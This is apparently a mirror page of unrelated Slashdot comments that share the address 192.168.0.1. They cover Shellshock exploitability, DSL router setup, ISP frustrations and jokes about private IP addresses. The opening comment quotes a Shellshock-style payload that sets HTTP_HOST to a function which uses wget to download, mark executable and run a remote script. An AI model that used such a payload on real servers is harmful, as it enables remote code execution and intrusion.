Slashdot Mirror

Kinda. With "Mark 2" it becomes considerably more difficult, as you have to find a way to set an environment variable to the same name as a command that'll be executed - at least, from the proof of concept exploits I'm seeing. So even if a badly configured webserver sets HTTP_HOST to "() { wget http://192.168.0.1/r00t.sh ; chmod +x r00t.sh; ./r00t.sh; }", unless your script actually tries to run a program called HTTP_HOST it shouldn't be called.

(If I'm wrong, expecting angry flames now ;-) Please though include details of why.)

bypass the idiot suggestion of "opening a browser".

Click the start button and type http://192.168.0.1/ ..... or whatever (may need to select "run" on XP)

In the future don't do tech support. You're not qualified to even support your mom(grandma).

I think this is hilarious. I had exactly the opposite experience. I had DSL installed under BellSouth (whose service was phenomenal) and then initiated a "move" order after they merged with AT&T. As part of the move I was supposed to get a new router (the old one was no longer supported) and a new installation disk.

So 2 weeks later--no router, no disc. I call up, and they tell me my router isn't supported and I had to configure it myself. 8 days and 16 phone calls later they discover it is actually a problem on their end, and to fix it they had to wipe out my entire account (including E-mail) and re-install me. 2 days later its working on my old router (still no new router or install disk) with 75% packet loss and 128 Kbps throughput. Ridiculous.

Anyway, all that to say that with DSL (AT&T at least) all you need to do is reset the router to factory defaults, go to http://192.168.0.1/ and set up NAT. (All DSL modems/routers I've dealt with have the factory gateway IP and admin credentials printed on a sticker with the MAC address, etc.) I think I had to put in PPP username and password, as well, but you don't need a disk for that.

And on cable, once the tech installs the modem (which acts like a gateway/bridge) you can put anything you want behind it.

Such is the beauty of TCP/IP and Ethernet.

I've just had a couple of days off work with a nasty virus, and even with my head full of cotton wool I had a play with setting my Netgear DG834 into "Modem only" mode (via the hidden page http://192.168.0.1/mode.htm) and running RP-PPPoE on my linux server. I managed to get it up running IPv4 pretty quickly. Now all I need to do is wait for my ISP to start supporting IPv6. Unlike Andrews and Arnold who have been running IPv6 for ages, they don't think it will be a concern for some considerable time. Don't they understand that some of us want to start seeing if things work and gaining experience right now?

And how difficult is it for a rouge advertisement to direct your browser to http://192.168.0.1/ ?

http://192.168.0.1/davidwr/shows

Well if you didn't bother to twiddle that setting then accessing that is actually pretty simple for anyone on the same logical subnet on the outside of your router (other broadband customers in your area, perhaps), or anyone with access to your ISP's routers.

Thank you, thank you, catch my next show tomorrow night and every night at: http://192.168.0.1/davidwr/shows

Actually, that link takes me to my ADSL box, not your machine. These are unroutable addresses, how would you access one over the Internet?

You actually have to twiddle a setting to block all incoming unsolicited connections! *cue rim shot*

Thank you, thank you, catch my next show tomorrow night and every night at:
http://192.168.0.1/davidwr/shows

If you click on one of these two links you can easily setup your wireless to be open!
Click Here or Click Here
There's no liability in giving free access to everyone, the courts have confirmed the principal of being just like a ISP when passing internet packets automatically.
So let's all party on the net! Open your wireless party today!
(and thanks for the free access when I needed it while traveling)

Also here and here